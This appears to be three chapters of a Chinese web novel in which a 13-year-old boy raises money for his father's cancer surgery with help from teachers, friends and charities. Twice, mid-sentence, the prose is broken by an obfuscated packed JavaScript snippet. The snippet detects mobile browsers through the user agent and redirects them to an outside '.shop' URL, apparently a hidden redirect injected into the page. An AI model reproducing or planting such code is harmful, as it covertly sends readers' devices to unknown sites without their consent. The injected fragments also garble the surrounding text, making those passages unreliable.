他做了一个梦。 梦里他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。画室里有一张病床,床上躺着一个男人,身上盖着白色的被子。男人闭着眼睛,呼吸平稳,像只是睡着了。 张小五走过去,在床边坐下,握住那个男人的手。 那只手很暖。 他低下头,在男人的额头上轻轻亲了一下。 然后他听见那个男人的声音,很轻很轻,轻得像风。 “画下去。” 张小五睁开眼睛。 天亮了。 阳光从窗帘的缝隙里挤进来,在地上画了一条金色的线。窗外有鸟在叫,叽叽喳喳的,像是在讨论什么开心的事。 张建国已经醒了,正侧躺着看着张小五。 “做梦了?”他问。 张小五揉了揉眼睛,点了点头。 “梦见什么了?” 张小五想了想,说:“梦见我在画画。” 张建国笑了。他笑起来的时候眼角的皱纹还是那么深,但那个笑容比前几天亮了一些,像是有一盏小灯在那些沟壑深处亮了起来。 “那就好。”他说,“梦见画画好。” 张小五从折叠椅上坐起来,把毯子叠好,把画本放在书包里。他去卫生间洗漱了一下,然后拿着保温桶去医院的食堂打早饭。 食堂在一楼,已经排起了长队。张小五排在队伍最后面,前面是一个坐着轮椅的老太太,后面是一个抱着小孩的年轻爸爸。他闻到了小米粥的味道,还有包子的肉香,馒头蒸腾起来的热气。 他打了两个馒头、一碗小米粥和一碟咸菜,一共四块五。他端着托盘回到病房,把张建国扶起来,在小桌板上摆好早饭。 “爸,你多吃点。”他把一个馒头掰成两半,递了一半给父亲。 张建国接过馒头,慢慢地嚼着。他的胃口不好,吃了几口就吃不下了,但看到张小五盯着他,又勉强多吃了两口。 张小五把剩下的馒头和粥都吃了,吃得干干净净,连粥碗都用馒头擦了擦塞进嘴里。他现在不能浪费任何东西,每一粒米、每一分钱,都可能成为父亲救命的一部分。 吃过早饭,护士来查房,量了体温、血压、血氧,在本子上记了一串数字。张建国的体温正常,血压偏高,血氧饱和度只有百分之九十二,比正常人低一些。护士说要多吸氧,把床头那个透明的氧气管给他戴上。 张小五坐在床边,看着父亲戴着氧气管的样子。那根透明的管子绕在耳朵上,两个小头塞进鼻孔里,看起来像一条透明的蛇趴在父亲的脸上。 他拿出画本,想画下来,但举起铅笔又放下了。 他不喜欢这个画面。 他不想记住父亲戴着氧气管的样子。 他想记住的是父亲站在脚手架上、手里拿着瓦刀、背后的天空很蓝很蓝的样子。 他翻到前面画的那幅《希望》,看了很久。 然后他合上画本,把它放回书包里。 “爸。”他说。 “嗯。” “等你病好了,我们还去那个工地,我重新给你画一幅。” 张建国看着儿子,眼睛里有光。 “好。”他说。 窗外的阳光越来越亮了,照进病房,照在白色的床单上,照在张小五的脸上。 新的一天开始了。 张小五在心里默默地算了一笔账。住院费、检查费、药费,加上即将到来的手术费和后续治疗费,那是一个天文数字。他现在手里有李老师和周扬给的钱,加上母亲的三千块,加起来不到一万。离十几万的目标,还差很远很远。 他要想办法。 不管多难,他都要想办法。 他不能没有父亲。 11. 筹款 张小五把所有的钱从信封里掏出来,一张一张地铺在病床的小桌板上。 三千、五千、两千、五百、三百、两百。有红色的百元大钞,有绿色的五十,有灰色的二十,还有一些十块五块的零钱。他数了三遍,每一遍的数字都一样——一万一千二百三十七元五角。 一万一千二百三十七块五。 这是他全部的财产。是他母亲省吃俭用攒下的工资,是李老师和美术组老师们凑的心意,是周扬妈妈借给他的救命钱。每一张钞票都带着不同人的体温,每一张钞票背后都是一个善良的故事。 可是这些钱,在十几万的手术费面前,像一杯水倒进了大海。 张小五把钱重新装进信封里,塞进书包最里层的夹层。他抬起头,看了一眼父亲。张建国还在睡,氧气管挂在脸上,呼吸声很重,像是有人在用砂纸打磨一块粗糙的木头。 他轻手轻脚地站起来,拿起书包,走出了病房。 医院的走廊很长,从这头走到那头要一百多步。张小五走得很慢,一边走一边看着走廊两边的病房门。每一个门上都贴着床号,每一个门后面都躺着一个病人,每一个病人都有一个像他一样手足无措的家属。 他走到电梯口,按了下行键。电梯门打开,里面有一个穿着白大褂的医生,手里拿着一沓病历。张小五走进去,站在角落里,看着楼层数字一个一个地往下跳。 五楼。四楼。三楼。二楼。一楼。 电梯门打开,他走了出去。 一楼大厅比楼上热闹得多。挂号窗口前排着长队,缴费窗口前排着更长的队,药房门口也排着队。到处都是人,有的站着,有的坐着,有的蹲着,有的靠在墙上。空气中弥漫着消毒水、中药、盒饭和各种说不清道不明的味道。 张小五走到大厅角落的社工部,推门进去。 社工部是一间不大的办公室,墙上贴着各种海报——“医疗救助申请指南”“慈善基金介绍”“志愿者招募”。办公桌后面坐着一个三十多岁的女人,短发,圆脸,戴着一副黑框眼镜,看起来和和气气的。 “你好,小朋友,有什么事吗?”她放下手里的文件,微笑着看着张小五。 张小五走到办公桌前,从口袋里掏出王医生给的那张申请表,放在桌上。 “姐姐,我想申请医疗救助。” 女人看了一眼那张表格,又看了看张小五,眼神里闪过一丝惊讶。她接过表格,翻了一下,然后抬起头。 “你是帮你家里人申请的?” “我爸爸。”张小五说,“他住院了,肺腺癌中期,要做手术。我们没有医保,没有低保,我爸爸没有工作,我还在上学。王医生说可以申请救助,让我来找你们。” 女人听着,脸上的表情从惊讶变成了认真。她从抽屉里拿出一支笔,翻开一个新的文件夹。 “你叫什么名字?” “张小五。” “你爸爸呢?” “张建国。” “哪个病房?” “住院部三楼,306。” 女人把信息一一记下来,然后从文件夹里抽出一张纸,递给张小五。 “这是需要准备的材料清单。你要去社区开一个贫困证明,把你爸爸的低保证明或者失业证明也带上。还有你家的户口本、身份证,能带的都带上。材料齐了之后,交给我,我帮你走流程。” 张小五接过那张纸,看了一眼。清单上列了七八项材料,有的他听说过,有的他完全不知道是什么。 “姐姐,这个……大概能申请到多少钱?” 女人犹豫了一下,说:“这个不好说。不同的基金有不同的标准,有的能报一两万,有的能报三五万。我们尽量帮你多申请几个,但你要有心理准备,不可能全部覆盖。” 三五万。张小五在心里默默算了一下。如果顺利的话,加上他现在手里的一万多,能凑到四五万。离十几万还差一大截,但总比什么都没有强。 “谢谢你,姐姐。”他把清单折好,放进口袋。 “不客气。”女人看着他的脸,犹豫了一下,又说,“小朋友,你一个人跑这些事,能行吗?” 张小五愣了一下,然后点了点头。 “行。” 他说这个字的时候声音不大,但他自己觉得很有力。 从社工部出来,张小五没有回病房。他走到医院门口,站在台阶上,看着外面的街道。 雨早就停了,太阳出来了,把整条街照得亮堂堂的。地上的积水反射着阳光,像一面一面小小的镜子。行人来来往往,有的撑着伞,有的没撑,有的踩着水坑,溅起一串水花。 这个世界还在照常运转,不管他的父亲是不是躺在病床上。 张小五深吸一口气,拿出手机,拨了一个号码。 电话响了三声,接通了。 “喂?” “妈,是我。” 电话那头沉默了一下,然后传来母亲急切的声音:“小五?怎么了?你爸怎么样了?” “爸查出来了,是肺腺癌中期。”张小五的声音很平,平得不像一个十三岁的孩子在说话,“王医生说可以手术,但要十几万。妈,我想问你,你那边还有没有钱?能不能再借我一点?等我以后还你,双倍还。” 电话那头又沉默了。这次沉默了很久,久到张小五以为信号断了。 “妈?” “小五,妈在。”王秀兰的声音变了,变得又轻又哑,像是刚哭过,“妈这个月的工资还没发,妈手里现在只有几百块生活费。上次那三千块,是妈攒了大半年的……” 张小五握着手机,指节发白。 “妈知道了。”王秀兰的声音忽然大了一些,“妈想办法,妈去找老板预支工资,去找工友借。你等着,妈凑够了就给你打过去。” “妈,你别太勉强……” “不勉强。”王秀兰打断了他,“小五,妈对不起你爸,也对不起你。妈这辈子欠你们的,还不完了。但你爸的病,妈不能不管。” 张小五的鼻子一酸,眼泪差点掉下来。他仰起头,看着天空,让眼泪倒流回去。 “妈,谢谢你。” “别说谢。”王秀兰说,“小五,你照顾好自己,别累着了。妈这边有消息就给你打电话。” “好。” 电话挂断了。张小五把手机放进口袋,站在台阶上,看着来来往往的人群。一个推着轮椅的中年男人从他身边经过,轮椅上坐着一个老太太,头上包着纱布,闭着眼睛,脸色苍白。一个小女孩牵着妈妈的手,蹦蹦跳跳地走进医院大门,手里拿着一个粉色的气球。 张小五转过身,走回了医院。 接下来的几天,张小五像一只陀螺一样转了起来。 早上天不亮他就起床,帮父亲洗漱、打饭、喂饭,然后跑去找王医生问病情,去护士站交费用,去社工部催进度。下午他坐公交车回家,去社区开证明,去街道办事处盖章,去派出所复印户口本。晚上他回到医院,陪父亲说话,给他擦身,喂他吃药,等他睡着了才开始写作业、画画。 他几乎没有时间睡觉。每天能睡四五个小时就不错了,有时候连四个小时都睡不到。他的黑眼圈越来越重,人越来越瘦,衣服挂在身上空荡荡的,像一件大号的麻袋。 但他不敢停下来。因为他知道,停下来就意味着放弃。放弃意味着什么,他不敢想。 社区的那个大姐给他开贫困证明的时候,看了他一眼,叹了口气。 “小五,你一个人跑这些,太苦了。” 张小五笑了笑,没有说话。他不知道该怎么回答这个问题。苦吗?苦。但他已经没有时间去想苦不苦了。他只知道,他必须做这些事,不做就没有钱,没有钱父亲就治不了病,治不了病就会死。死,这个字比任何苦都苦。 街道办事处的那位大叔在贫困证明上盖了章,递给他,又递给他一张名片。 “小五,这是市里一个慈善总会的电话,你打过去问问,他们好像有针对癌症患者的专项救助。” 张小五接过名片,道了谢,转身跑向公交站。 他在公交车上打了那个电话。对方是一个温和的阿姨,听他说完情况之后,沉默了一会儿,说:“小朋友,你把材料寄过来,我们审核一下。如果符合条件,我们可以资助一部分费用。” 张小五挂了电话,靠着车窗,闭上眼睛。 车晃晃悠悠地开着,阳光透过车窗照在他脸上,暖洋洋的。他已经很久没有晒过太阳了,整天泡在医院里,皮肤白得像纸。他贪婪地感受着那一点点温暖,像是要把这几天的阴冷都晒干。 到站了,他睁开眼,下了车。 他站在医院门口,抬头看了一眼住院部的大楼。三楼,306,那个窗户。窗帘是拉着的,看不见里面。但他知道父亲就躺在那扇窗户后面,等着他回去。 他迈开步子,走了进去。 一周之后,材料终于全部交齐了。 张小五把厚厚一沓材料交到社工部,那个戴眼镜的姐姐翻了翻,点了点头。 “材料没问题,我帮你递上去。审批大概要两到三周,有消息我通知你。” 两到三周。张小五等不了那么久。王医生说手术越早做越好,拖久了肿瘤可能会扩散,到时候连手术的机会都没有了。 “姐姐,能不能快一点?”他问,“我爸爸的病情不能拖。” 女人看着他,眼神里满是同情。她想了想,说:“我帮你加急,尽量一周之内出结果。” “谢谢姐姐。” 张小五从社工部出来,在走廊里站了一会儿。他靠着墙,慢慢地滑下去,坐在地上。走廊里的塑料椅子都坐满了人,他不想去挤,地上凉凉的,反而让他觉得舒服。 他低下头,看着自己的手。这双手比以前更瘦了,骨节突出,指甲缝里还有铅笔灰。他把手翻过来,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444007|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌心的纹路。那些纹路乱七八糟的,像一张画坏了的地图。 他不知道这张地图会通向哪里。 他只知道,他要一直走,不能停。 “张小五?” 他抬起头,看见陈雨桐站在他面前,手里提着一个袋子,气喘吁吁的,像是跑了很多路。 “你怎么来了?”张小五撑着墙站起来。 “周扬告诉我的。”陈雨桐把袋子递给他,“给你带的,一些吃的,还有几本小说,你在医院无聊的时候可以看。” 张小五接过袋子,里面装着面包、牛奶、苹果,还有两本小说,一本是《活着》,一本是《平凡的世界》。 “谢谢。”他说。 陈雨桐看着他,看着他那张瘦得脱了形的脸,看着他那双布满血丝的眼睛,看着他那件皱巴巴的、明显大了好几号的外套。她的眼眶忽然红了,但她忍住了,没有让眼泪掉下来。 “张小五,你要照顾好自己。”她的声音有点抖,“你不能把自己累垮了。你爸还要靠你呢。” 张小五看着她,忽然笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他脸上那种不属于十三岁孩子的沉重感忽然消失了,露出了一个少年该有的样子。 “我知道。”他说,“我不会垮的。” 陈雨桐使劲点了点头,然后转过身,快步走了。走到走廊拐角的时候,她终于没忍住,眼泪掉了下来。她用手背擦了擦,没有回头,消失在了拐角处。 张小五看着她的背影消失,低下头,打开袋子,拿出一个面包,撕开包装,咬了一口。 面包很软,很甜,带着奶油的香味。 他已经很久没有吃过面包了。 他慢慢地嚼着,一口一口地,像是在品尝什么珍贵的食物。 吃完之后,他把包装纸扔进垃圾桶,拿着袋子上楼。 走到306病房门口的时候,他听见里面有说话的声音。他推开门,看见张建国半靠在床上,对面坐着一个四十多岁的男人,穿着一件皮夹克,头发梳得油光锃亮,手里夹着一支烟——当然没点着,医院里不能抽烟。 “小五,来了?”张建国看见他,招了招手,“过来,这是你李叔,爸以前的工友。” 张小五走过去,叫了一声“李叔”。那个男人上下打量了他一眼,从口袋里掏出一个信封,放在床头柜上。 “老张,这是工地上兄弟们凑的,不多,你拿着先用。” 张建国看着那个信封,嘴唇哆嗦了一下,想说推辞的话,但说不出口。他已经没有资格推辞任何人的善意了。 “老李,替我谢谢兄弟们。”他的声音沙哑。 “谢啥谢。”李叔站起来,拍了拍张建国的肩膀,“你好好养病,别想太多。工地上那点活,兄弟们帮你盯着,等你好了再回来。” 张建国点了点头,眼眶红了。 李叔走了之后,张小五打开那个信封,里面是三千六百块钱。有一百的,有五十的,有二十的,甚至还有十块和五块的。那些钱叠得不整齐,有的折了角,有的皱巴巴的,看得出来是很多人你一百我五十凑出来的。 张小五把钱数了一遍,又数了一遍,然后和其他的钱放在一起。 一万一千二百三十七块五,加上三千六百,等于一万四千八百三十七块五。 他把这个数字写在画本的空白处,然后在这行数字下面画了一条横线,横线下面写了一个大大的问号。 离目标还有多远,他不知道。 但他知道,每多一块钱,父亲就离死神远一步。 他要跑得再快一点。 晚上,张小五照例在折叠椅上画画。 他画的是今天的病房。床头柜上多了一个信封,那是李叔送来的。父亲的脸色比昨天好了一点,也许是心理作用,也许是真的。护士来换了一次药,点滴换了新的袋子,透明的液体顺着管子一滴一滴地流进父亲的身体里。 他画得很仔细,每一个细节都不放过。画完之后,他在画的右下角写了一个日期,然后翻到新的一页。 他想了想,决定画一个数字——那个数字是十几万,是他父亲手术费的总额。他没有把这个数字画成普通的数字,而是把它画成了一座山。山很高,山顶在云里雾里,看不见顶。山脚下有一个很小很小的人,那个人背着一个很大的书包,手里拿着一支铅笔,正在往上爬。 他画完之后,盯着那个人看了很久。 那个人是他。 那座山是他要翻越的命运。 他不知道自己能不能翻过去。 但他知道,他必须试一试。 他合上画本,关了灯,躺在折叠椅上。 黑暗中,他又听见了那个声音。 “画下去。” 他闭上眼睛,嘴角微微弯了一下。 会的。 他会画下去的。 一直画到翻过那座山。 12. 学校 张小五回到学校的那天,是周三。 他在医院里待了整整十一天。十一天里,他几乎没有合过眼,没有好好吃过一顿饭,没有翻开过课本。他的世界里只剩下病房白色的墙壁、消毒水刺鼻的气味、父亲咳嗽的声音,以及那个永远填不满的钱窟窿。 当他背着书包走进校门的时候,门口的梧桐树已经长出了满树的绿叶,阳光透过树叶的缝隙洒在地上,像一地碎金。他站在树下,仰起头,看着那些密密麻麻的叶子。他走的时候树枝还是光秃秃的,现在已经是满眼葱茏了。春天不会因为谁的父亲病了就停下来,时间也不会。 “张小五!” 周扬从教学楼里冲出来,跑得太快差点在台阶上绊一跤。他跑到张小五面前,一把抓住他的肩膀,上下打量了好几遍,眼眶一下子就红了。 “你瘦了。”周扬说,声音有点抖,“你他妈瘦了好多。” 张小五笑了笑,没说话。 “你爸怎么样?”周扬问。 “还行。”张小五说,“等着做手术,在筹钱。” 周扬张了张嘴,想说什么,又咽了回去。他从口袋里掏出一张皱巴巴的纸条,塞到张小五手里。 “这是我妈公司的同事捐的,还有我的一些亲戚。不多,但……你先拿着。” 张小五打开纸条,上面写着一个数字——两万三。他的手指抖了一下,纸条差点从手里滑落。 “周扬,这……” “别这那的了。”周扬打断他,“又不是白给你的,说了是借的。你以后当了画家,画卖了钱还我,连本带利。” 张小五看着周扬的脸。那张圆圆的、总是笑嘻嘻的脸,此刻绷得紧紧的,嘴唇抿成一条线,眼睛里有光——不是泪光,是一种很亮很亮的光,像是两颗小小的太阳。 “好。”张小五说,“我记着了。” 他把纸条折好,放进口袋里。口袋里已经有很多张纸条了,有母亲的,有李老师的,有社工部的,有慈善总会的。每一张纸条都是一条路,一条通往父亲手术台的路。路很窄,很难走,但至少还有路。 第一节课是数学。张小五坐在最后一排靠窗的位置,翻开课本,看着那些密密麻麻的公式和符号,觉得它们像一群陌生的外星文字,一个都不认识。十一天没上课,他落下了整整两个章节的内容。函数、方程式、几何证明,这些东西在他脑子里搅成一团,像一锅煮糊了的粥。 数学老师姓方,是个四十多岁的男人,戴着厚厚的眼镜,讲课的时候声音很大,大到隔壁班都能听见。他从来不点名提问,也从来不看最后一排的学生,他只管讲自己的,讲完就走,作业让课代表收,试卷让课代表发。 张小五以前觉得这样挺好的,没有人管他,他可以在课上偷偷画画。但现在他需要有人管他,需要有人告诉他那些陌生的公式是什么意思,需要有人帮他把那锅煮糊了的粥重新煮明白。 他举起手。 方老师正在黑板上写一道几何证明题,粉笔在黑板上吱吱嘎嘎地响,没有注意到他。 张小五把手举得更高了一点。 “方老师。” 方老师回过头,看见最后一排那个瘦小的男生举着手,愣了一下。他教了这么多年书,从来没有学生在上课的时候主动举手提问。大多数学生都在盼着下课,盼着放学,盼着他少布置一点作业。 “你说。”方老师推了推眼镜。 “方老师,我前两周请了假,落下了函数那一章。您能不能给我划一下重点,我自己补?” 教室里安静了一瞬,然后响起了窃窃私语。周扬在前排转过头,朝张小五竖了个大拇指。 方老师看着张小五,看了好几秒钟,然后放下粉笔,走到张小五桌前。他拿起张小五的课本,翻了翻,看到那些空白的页面和角落里偶尔出现的铅笔涂鸦,皱了皱眉。 “你请了多久的假?” “十一天。” “十一天落下的内容,不是划重点就能补上的。”方老师的语气很平,听不出是批评还是别的什么,“你今天放学后来办公室找我,我给你补。” 张小五愣了一下。他以为方老师会随便指几页让他自己看,没想到会主动提出给他补课。 “谢谢方老师。” 方老师“嗯”了一声,转身走回讲台,继续写他的几何证明题。张小五低下头,翻开笔记本,开始抄黑板上的板书。他抄得很慢,字写得歪歪扭扭的,但每一笔都写得很认真。 下课后,周扬跑过来,趴在他桌上。 “方老师居然主动要给你补课,太阳打西边出来了。”周扬说,“你不知道,方老师是出了名的冷面阎王,从来不加班,从来不补课,放学第一个走。你面子真大。” 张小五没觉得是自己面子大。他觉得是方老师看到了什么——一个快活不下去的人还在拼命往上爬,那种挣扎,也许让那个冷面阎王心里动了一下。 第三节课是美术。 张小五走进美术教室的时候,闻到了熟悉的味道——松节油、颜料、画纸、还有一点点灰尘的味道。这个味道让他觉得安心,像是走进了一个避难所,外面所有的风雨都被挡在了门外。 李老师站在讲台上,正在给同学们示范水彩画的技法。她的手里拿着一支毛笔,笔尖蘸了蓝色的颜料,在纸上轻轻一点,然后用水晕开,那一小点蓝色就变成了一片天空,淡淡的,透透的,像是一阵风就能吹走。 张小五站在门口,没有进去。他看着李老师的手,看着那支笔在纸面上舞蹈,看着蓝色在水中扩散、交融、变化,心里忽然涌起一种强烈的冲动——他也要画,他也要像这样,用颜色去表达那些说不出来的东西。 李老师抬起头,看见了他。 “张小五,进来。”她说,语气很平静,但眼睛里有一种只有张小五才能读懂的东西——那是心疼,是欣慰,是“你终于回来了”。 张小五走进去,坐到自己的位置上。他的画具还放在桌斗里,画本、铅笔、橡皮、那支陈雨桐送的毛笔,一样都没少。他把画本拿出来,翻到新的一页,把铅笔削尖。 李老师继续示范,一边画一边讲解:“水彩的魅力在于水的不可控。你永远无法完全预测水和颜料会怎么流动,这种不确定性,就是水彩的生命力。你要学会跟水合作,而不是跟水对抗。” 张小五听着,手里的铅笔在本子上画着。他没有画水彩,他画的是李老师示范时的背影——她的右手握着毛笔,左手按着纸面,身体微微前倾,像一尊专注的雕塑。 他画完之后,在画的旁边写了一行字:“李老师在教水彩。她说水是不可控的。也许命运也是。” 下课之后,李老师把张小五留了下来。 她关上门,拉了一把椅子,坐在张小五对面。美术教室的光线很好,下午的阳光从北窗照进来,柔和而均匀,把两个人的影子拉得长长的。 “你爸的事,我都听说了。”李老师说,“你现在最需要什么?钱?还是别的什么?” 张小五想了想,说:“钱的事我在想办法。李老师,我想问你一件事。” “你说。” “我听说美术生可以考美院附中,考上了学费很低,还有奖学金。是不是真的?” 李老师看着他,眼睛亮了一下。 “是真的。中央美院附中、中国美院附中、广州美院附中,这些学校的学费比普通高中低,而且有奖学金和助学金。但是……”她停顿了一下,“但是很难考。专业课要求很高,文化课也有分数线。你现在的水平,专业课还需要再练一年左右,文化课……” 她没有说完,但张小五懂了。他的文化课太差了,差到可能连美院附中的门槛都摸不到。 “我会努力的。”张小五说,“李老师,我想考美院附中。不是因为学费低,是因为我想走美术这条路。我不想让画画只是一个爱好,我想让它变成我的专业,我的工作,我的一生。” 李老师看着他,沉默了很久。 “张小五,你知道吗,你是我教过的学生里,最有天赋的一个。”她说,“但天赋不是最重要的。最重要的是,你有没有那种非画不可的冲动。那种不画就难受,画了就安心,像吃饭喝水一样自然的冲动。” 她伸出手,在张小五的画本上轻轻点了一下。 “你有。”她说,“所以我相信你。” 张小五从美术教室出来的时候,眼眶是红的。他用袖子擦了擦眼睛,深吸一口气,走回了教室。 下午最后一节课是班会。班主任刘老师在讲台上讲了下周月考的事,张小五在底下画画。他画的是医院的走廊,那条长长的、惨白的、没有尽头的走廊。走廊的两边是紧闭的病房门,每一扇门后面都有一个故事,每一个故事里都有眼泪。 他画着画着,忽然发现刘老师站在他面前。 他抬起头,手里还握着铅笔。 刘老师没有像上次那样拿走他的画本,也没有批评他。她只是看了他一眼,然后从口袋里掏出一个信封,放在他桌上。 “这是学校老师们的捐款。”刘老师说,声音不大,但全班都听见了,“张小五,你爸爸的事,我们都知道了。你是一个好学生,也是一个好儿子。老师们能帮的不多,但这些是我们的一点心意。” 教室里安静极了。所有的同学都看着张小五,有的眼神里是同情,有的是敬佩,有的是说不清道不明的东西。 张小五站起来,看着桌上那个信封。信封很厚,比李老师给的那个厚多了。他打开信封,里面是一沓百元钞票,码得整整齐齐的。他没有数,但他能感觉到那个分量——不只是钱的重量,更是人心和人情的重量。 他向刘老师鞠了一躬,又向全班同学鞠了一躬。 “谢谢大家。”他的声音有点抖,但他没有哭,“我会还的。” 刘老师摇了摇头:“不用还。你好好读书,好好画画,就是对我们最好的回报。” 放学后,张小五去了方老师的办公室。 方老师的办公室在教学楼的一层,是一间很小的屋子,堆满了试卷和教辅书。墙上贴着一张课程表和一张高考倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444008|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计时的日历,日历上写着“距离高考还有XXX天”,那个数字每天都在减少,像是在倒计时一场战争。 方老师坐在办公桌后面,面前摊着张小五的数学课本。 “你来了。”方老师抬起头,推了推眼镜,“坐下吧。” 张小五在椅子上坐下,把书包放在脚边。方老师把课本翻到函数那一章,用红笔在几个地方画了圈。 “函数的核心是映射关系。”方老师说,“你给它一个输入,它给你一个输出。就像一台机器,你扔进去一个x,它吐出来一个y。你要做的就是搞清楚这台机器的工作原理。” 方老师讲得很慢,每讲一个知识点都会停下来问张小五听懂了没有。张小五有的懂,有的不懂,不懂的地方他就摇头,方老师就换一种方式再讲一遍。 他们讲了整整一个小时,从函数讲到了方程式,从方程式讲到了不等式。方老师的声音从一开始的平淡变得越来越有激情,像是点燃了一团火。张小五从来不知道数学可以这样讲,可以讲得这么生动,这么有趣,这么让人想听下去。 “方老师。”张小五忽然打断了他。 方老师停下来,看着他。 “你为什么愿意给我补课?”张小五问,“你又不收钱。” 方老师沉默了一会儿,把红笔放在桌上,靠在椅背上。 “我像你这么大的时候,家里也很穷。”他说,“我爸是矿工,我妈没有工作,家里四个孩子,我是老大。我上初中的时候,我爸得了尘肺病,跟你爸的情况差不多。” 张小五愣住了。 “那时候我也想过不读书了,去打工挣钱。但我班主任拦住了我,他给我补课,帮我申请助学金,让我考上了重点高中,后来又考上了师范大学。”方老师说到这里,笑了一下,那个笑容很淡,但很真,“我当老师,就是因为那个人。我想像他一样,帮一个是一个。” 他拿起红笔,在张小五的课本上写了一个电话号码。 “这是我的手机号,你以后有什么不懂的,随时打电话问我。”他说,“不要钱。” 张小五握着那个课本,手指在电话号码上轻轻摩挲着。他想说谢谢,但觉得这两个字太轻了。他想说我会努力的,但觉得这句话太虚了。 他最后什么也没说,只是把那本课本紧紧地抱在胸口,像是抱着一样非常非常珍贵的东西。 从方老师办公室出来的时候,天已经快黑了。张小五站在教学楼的台阶上,看着远处最后一抹晚霞在天边慢慢消散。校园里很安静,只有风吹过梧桐树的声音,沙沙的,像是在说着什么秘密。 他拿出手机,给母亲发了一条短信:“妈,我今天回学校了。老师们捐了钱,同学们也帮了很多。爸的情况还行,等着做手术。你别太累,照顾好自己。” 发完之后,他把手机放进口袋,走向校门。 校门口的梧桐树下,站着一个女孩。 陈雨桐穿着一件白色的卫衣,背着双肩包,手里拿着一个画筒。看见张小五出来,她迎了上来,把画筒递给他。 “给你。”她说。 张小五接过画筒,打开盖子,从里面抽出一卷画纸。他展开那卷纸,看见一幅水彩画——画的是一个男孩坐在病床边,握着父亲的手。男孩的背影很瘦小,但腰挺得很直,像一棵被风吹弯了又站直的树。父亲的脸上有光,不是日光灯的光,是一种从内向外透出来的光,温暖而柔和,像是一盏快要熄灭但还在燃烧的灯。 画的右下角写着一行小字:“给张小五。你不是一个人。——陈雨桐” 张小五看着那幅画,看了很久。 他的眼眶红了,鼻子酸了,但他没有让眼泪掉下来。他把画纸重新卷好,小心翼翼地放回画筒里,把盖子拧紧。 “谢谢你。”他说,声音很稳。 陈雨桐笑了笑,露出两颗小虎牙。 “不客气。”她说,“你快去医院吧,你爸等着你呢。” 张小五点了点头,转身走向公交站。走了几步,他停下来,回过头。 陈雨桐还站在梧桐树下,晚风吹起她的头发,她朝他挥了挥手。 他也挥了挥手,然后转过身,走进了暮色里。 公交车上人很少,张小五坐在最后一排,把画筒抱在怀里。车窗外,城市的灯火一盏一盏地亮起来,橘黄色的、白色的、蓝色的,像一幅巨大的点彩画。他用手指在车窗上画了一个小人,小人背着书包,走向一栋很高很高的大楼。 车子晃晃悠悠地开着,他靠着车窗,慢慢闭上了眼睛。 他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。这一次画室里不止他一个人,有很多人——李老师、周扬、陈雨桐、方老师、刘老师、母亲、还有那些他不知道名字但给了他善意的人们。他们站在他身后,看着他画画。 他拿起画笔,在白墙上画了一个圆。 不是月亮,不是太阳,是一个句号。 一个暂时还画不上的句号。 但总有一天,他会把它画上。 13. 希望 手术的日期定下来了。五月二十一日,一个听起来很美好的日子。王医生说这天他正好有空,手术室也能排上,宜早不宜迟。张小五在日历上把这个日子圈了起来,又在旁边画了一个小小的太阳。太阳的线条歪歪扭扭的,但光芒很密,放射状地铺满了整个格子。 钱还是不够。所有能借的都借了,所有能申请的救助都申请了,所有能想到的办法都想过了,加起来离手术费用还差一大截。张小五把那个缺口写在一张纸条上,贴在画本的封面,每次打开都能看见。那串数字像一道伤口,横亘在他和父亲的生路之间,每看一次就疼一次。 他不知道该怎么办了。他已经跑遍了所有能跑的地方,求遍了所有能求的人,说遍了所有能说的话。他才十三岁,嗓音还没变,脸上还有婴儿肥的痕迹,站在那些政府部门和慈善机构的柜台前,常常要踮起脚尖才能把胳膊肘搁在台面上。他已经用尽了十三年来积攒的全部力气,可那道伤口还是合不上。 张建国似乎察觉到了什么。他开始变得沉默了。不是那种不想说话的沉默,而是一种认命的沉默。他不再问张小五钱筹得怎么样了,不再问什么时候能手术,甚至不再问自己还能活多久。他每天只是躺在病床上,看着天花板,偶尔看看窗外,偶尔翻翻张小五的画本。他翻得很慢,一页能看很久,像是在看一本写满回忆的相册。 有一天晚上,张小五给他擦身子的时候,他突然开口了。 “小五,爸想回家了。” 张小五的手停了一下,毛巾悬在父亲的背上。那背上全是骨头,一根一根的,像是冬天落了叶子的树干。 “不行。”张小五说,继续擦,“医生说手术前要住院观察,不能出院。” “爸不是说出院。”张建国的声音很轻,“爸是说……如果手术做不了,爸想回家。不想死在医院里。” 张小五的手又停了。这一次他停了很久,毛巾压在父亲的背上,水渍洇开来,在灰黄色的皮肤上留下一片深色的印记。 “你不会死的。”他说,声音硬得像一块石头。 张建国没有再说话。张小五继续擦,从上到下,从左到右,把每一寸皮肤都擦得干干净净。擦完之后,他帮父亲换上干净的病号服,把换下来的衣服叠好放进塑料袋里,然后端着水盆去了卫生间。 他把水倒掉,把盆放好,然后站在卫生间里,双手撑着洗手台,低着头,看着自己的眼泪一滴一滴地掉进白瓷的洗手池里。 他哭了很久。 哭完之后,他拧开水龙头,把脸洗了,用纸巾擦干,对着镜子看了看自己。镜子里的男孩眼睛红肿,鼻头红红的,嘴唇干裂起皮,像一棵快要旱死的秧苗。 他对着镜子里的自己说了一句话。 